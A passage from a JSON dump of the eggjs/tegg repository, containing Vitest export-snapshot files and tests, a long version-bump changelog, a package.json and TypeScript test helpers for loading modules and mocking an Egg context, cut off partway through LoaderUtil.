    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should orm exports stable 1`] = `\n{\n  \"Attribute\": [Function],\n  \"AttributeMeta\": [Function],\n  \"AttributeMetaBuilder\": [Function],\n  \"DataSource\": [Function],\n  \"IS_MODEL\": Symbol(EggPrototype#model#isModel),\n  \"Index\": [Function],\n  \"IndexMeta\": [Function],\n  \"IndexMetaBuilder\": [Function],\n  \"MODEL_DATA_ATTRIBUTES\": Symbol(EggPrototype#model#attributes),\n  \"MODEL_DATA_INDICES\": Symbol(EggPrototype#model#indices),\n  \"MODEL_DATA_SOURCE\": Symbol(EggPrototype#model#dataSource),\n  \"MODEL_DATA_TABLE_NAME\": Symbol(EggPrototype#model#tableName),\n  \"MODEL_METADATA\": Symbol(EggPrototype#model#metadata),\n  \"MODEL_PROTO_IMPL_TYPE\": \"MODEL_PROTO\",\n  \"Model\": [Function],\n  \"ModelInfoUtil\": [Function],\n  \"ModelMetaBuilder\": [Function],\n  \"ModelMetadata\": [Function],\n  \"ModelMetadataUtil\": [Function],\n  \"NameUtil\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/tegg/test/__snapshots__/schedule.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should schedule exports stable 1`] = `\n{\n  \"IS_SCHEDULE\": Symbol(EggPrototype#isSchedule),\n  \"SCHEDULE_METADATA\": Symbol(EggPrototype#schedule#metadata),\n  \"SCHEDULE_OPTIONS\": Symbol(EggPrototype#schedule#options),\n  \"SCHEDULE_PARAMS\": Symbol(EggPrototype#schedule#params),\n  \"Schedule\": [Function],\n  \"ScheduleInfoUtil\": [Function],\n  \"ScheduleMetaBuilder\": [Function],\n  \"ScheduleMetadata\": [Function],\n  \"ScheduleMetadataUtil\": [Function],\n  \"ScheduleType\": {\n    \"ALL\": \"all\",\n    \"WORKER\": \"worker\",\n  },\n}\n`;\n"
  },
  {
    "path": "tegg/core/tegg/test/__snapshots__/stanalone.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should standalone exports stable 1`] = `\n{\n  \"Runner\": [Function],\n  \"StandaloneUtil\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/tegg/test/__snapshots__/transaction.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should transaction exports stable 1`] = `\n{\n  \"IS_TRANSACTION_CLAZZ\": Symbol(EggPrototype#IS_TRANSACTION_CLAZZ),\n  \"PropagationType\": {\n    \"ALWAYS_NEW\": \"ALWAYS_NEW\",\n    \"REQUIRED\": \"REQUIRED\",\n  },\n  \"TRANSACTION_META_DATA\": Symbol(EggPrototype#transaction#metaData),\n  \"TransactionMetaBuilder\": [Function],\n  \"TransactionMetadataUtil\": [Function],\n  \"Transactional\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/tegg/test/ajv.test.ts",
    "content": "import { expect, test } from 'vitest';\n\nimport * as exports from '../src/ajv.ts';\n\ntest('should ajv exports stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/tegg/test/aop.test.ts",
    "content": "import { expect, test } from 'vitest';\n\nimport * as exports from '../src/aop.ts';\n\ntest('should aop exports stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/tegg/test/dal.test.ts",
    "content": "import { expect, test } from 'vitest';\n\nimport * as exports from '../src/dal.ts';\n\ntest('should dal exports stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/tegg/test/exports.test.ts",
    "content": "import { expect, test } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\ntest('should export stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/tegg/test/helper.test.ts",
    "content": "import { expect, test } from 'vitest';\n\nimport {\n  AbstractEggContext,\n  LoadUnitInstanceLifecycleUtil,\n  LoaderUtil,\n  ModuleConfigUtil,\n  LoadUnitLifecycleUtil,\n} from '../src/helper.ts';\nimport * as exports from '../src/helper.ts';\n\ntest('should helper exports work', async () => {\n  expect(AbstractEggContext).toBeDefined();\n  expect(LoadUnitInstanceLifecycleUtil).toBeDefined();\n  expect(LoaderUtil).toBeDefined();\n  expect(ModuleConfigUtil).toBeDefined();\n  expect(LoadUnitLifecycleUtil).toBeDefined();\n});\n\ntest('should helper exports stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/tegg/test/index.test.ts",
    "content": "import { expect, test } from 'vitest';\n\nimport {\n  Acl,\n  InjectContext,\n  HTTPContext,\n  ContextProto,\n  Inject,\n  AccessLevel,\n  EventInfoUtil,\n  QualifierImplUtil,\n  BackgroundTaskHelper,\n  orm,\n  aop,\n} from '../src/index.ts';\n\ntest('should exports work', async () => {\n  expect(Acl).toBeDefined();\n  expect(InjectContext).toBeDefined();\n  expect(HTTPContext).toBeDefined();\n  expect(ContextProto).toBeDefined();\n  expect(Inject).toBeDefined();\n  expect(AccessLevel).toBeDefined();\n  expect(EventInfoUtil).toBeDefined();\n  expect(QualifierImplUtil).toBeDefined();\n  expect(BackgroundTaskHelper).toBeDefined();\n  expect(orm.DataSource).toBeDefined();\n  expect(orm.Attribute).toBeDefined();\n  expect(aop.Advice).toBeDefined();\n});\n"
  },
  {
    "path": "tegg/core/tegg/test/orm.test.ts",
    "content": "import { expect, test } from 'vitest';\n\nimport * as exports from '../src/orm.ts';\n\ntest('should orm exports stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/tegg/test/schedule.test.ts",
    "content": "import { expect, test } from 'vitest';\n\nimport * as exports from '../src/schedule.ts';\n\ntest('should schedule exports stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/tegg/test/stanalone.test.ts",
    "content": "import { expect, test } from 'vitest';\n\nimport * as exports from '../src/standalone.ts';\n\ntest('should standalone exports stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/tegg/test/transaction.test.ts",
    "content": "import { expect, test } from 'vitest';\n\nimport * as exports from '../src/transaction.ts';\n\ntest('should transaction exports stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/tegg/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/test-util/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n\n### Features\n\n* impl GlobalGraph build hook ([#246](https://github.com/eggjs/tegg/issues/246)) ([48fce45](https://github.com/eggjs/tegg/commit/48fce4512e99259ec26a9b032bfcc9f4046ad235))\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/module-test-util\n"
  },
  {
    "path": "tegg/core/test-util/package.json",
    "content": "{\n  \"name\": \"@eggjs/module-test-util\",\n  \"version\": \"4.0.0-beta.29\",\n  \"private\": true,\n  \"description\": \"module test util\",\n  \"keywords\": [\n    \"egg\",\n    \"metadata\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/test-util\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/test-util\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/lifecycle\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-loader\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\",\n    \"globby\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/test-util/src/CoreTestHelper.ts",
    "content": "import { AsyncLocalStorage } from 'node:async_hooks';\n\nimport { type EggProtoImplClass, PrototypeUtil } from '@eggjs/core-decorator';\nimport {\n  EggLoadUnitType,\n  type EggPrototype,\n  GlobalGraph,\n  type GlobalGraphBuildHook,\n  LoadUnitFactory,\n} from '@eggjs/metadata';\nimport { LoaderFactory } from '@eggjs/tegg-loader';\nimport {\n  ContextHandler,\n  EggContainerFactory,\n  type EggContext,\n  type LoadUnitInstance,\n  LoadUnitInstanceFactory,\n} from '@eggjs/tegg-runtime';\n\nimport { LoaderUtil } from './LoaderUtil.ts';\n\nexport class EggContextStorage {\n  static storage: AsyncLocalStorage<EggContext> = new AsyncLocalStorage();\n\n  static register(): void {\n    ContextHandler.getContextCallback = () => {\n      return EggContextStorage.storage.getStore();\n    };\n    ContextHandler.runInContextCallback = (context, fn) => {\n      return EggContextStorage.storage.run(context, fn);\n    };\n  }\n}\n\nexport class CoreTestHelper {\n  static contextStorage: AsyncLocalStorage<EggContext> = new AsyncLocalStorage();\n\n  static async getLoadUnitInstance(moduleDir: string): Promise<LoadUnitInstance> {\n    const loader = LoaderFactory.createLoader(moduleDir, EggLoadUnitType.MODULE);\n    const loadUnit = await LoadUnitFactory.createLoadUnit(moduleDir, EggLoadUnitType.MODULE, loader);\n    return await LoadUnitInstanceFactory.createLoadUnitInstance(loadUnit);\n  }\n  static async prepareModules(moduleDirs: string[], hooks?: GlobalGraphBuildHook[]): Promise<Array<LoadUnitInstance>> {\n    await LoaderUtil.buildGlobalGraph(moduleDirs, hooks);\n    EggContextStorage.register();\n    const instances: Array<LoadUnitInstance> = [];\n    for (const { path } of GlobalGraph.instance!.moduleConfigList) {\n      instances.push(await CoreTestHelper.getLoadUnitInstance(path));\n    }\n    return instances;\n  }\n  static async getObject<T>(clazz: EggProtoImplClass<T>): Promise<T> {\n    const proto = PrototypeUtil.getClazzProto(clazz as any) as EggPrototype;\n    const eggObj = await EggContainerFactory.getOrCreateEggObject(proto, proto.name);\n    return eggObj.obj as unknown as T;\n  }\n}\n"
  },
  {
    "path": "tegg/core/test-util/src/EggTestContext.ts",
    "content": "import { mock } from 'node:test';\n\nimport { IdenticalUtil } from '@eggjs/lifecycle';\nimport { AbstractEggContext, ContextHandler } from '@eggjs/tegg-runtime';\n\nconst EGG_CTX = Symbol('TEgg#context');\n\nexport interface Tracer {\n  readonly traceId: string;\n}\n\nexport class EggTestContext extends AbstractEggContext {\n  data: Map<string | symbol, any> = new Map();\n  readonly id: string;\n\n  constructor() {\n    super();\n    const mockCtx = {\n      tracer: {\n        traceId: 'mock-traceId',\n      },\n    };\n    this.id = IdenticalUtil.createContextId();\n    this.set(EGG_CTX, mockCtx);\n    mock.method(ContextHandler, 'getContext', () => {\n      return this;\n    });\n  }\n\n  static async mockContext<R>(cb: (ctx: EggTestContext) => Promise<R>): Promise<R> {\n    const ctx = new EggTestContext();\n    return await ContextHandler.run(ctx, () => {\n      return cb(ctx);\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/test-util/src/LoaderUtil.ts",
    "content": "import { type EggProtoImplClass, PrototypeUtil } from '@eggjs/core-decorator';\nimport {\n  EggLoadUnitType,\n  GlobalGraph,\n  type GlobalGraphBuildHook,\n  GlobalModuleNodeBuilder,\n  type GlobalModuleNode,\n} from '@eggjs/metadata';\nimport { ModuleConfigUtil } from '@eggjs/tegg-common-util';\nimport { LoaderFactory } from '@eggjs/tegg-loader';\n\nexport class LoaderUtil {\n  static async loadFile(filePath: string): Promise<EggProtoImplClass | null> {\n    let clazz;\n    try {\n      clazz = await import(filePath);\n    } catch {\n      return null;\n    }\n    clazz = clazz.__esModule && 'default' in clazz ? clazz.default : clazz;\n    if (!PrototypeUtil.isEggPrototype(clazz)) {\n      return null;\n    }\n    PrototypeUtil.setFilePath(clazz, filePath);\n    return clazz;\n  }\n\n  static buildModuleNode(\n    modulePath: string,\n    clazzList: EggProtoImplClass[],\n    multiInstanceClazzList: {\n      clazz: any;\n      unitPath: string;\n      moduleName: 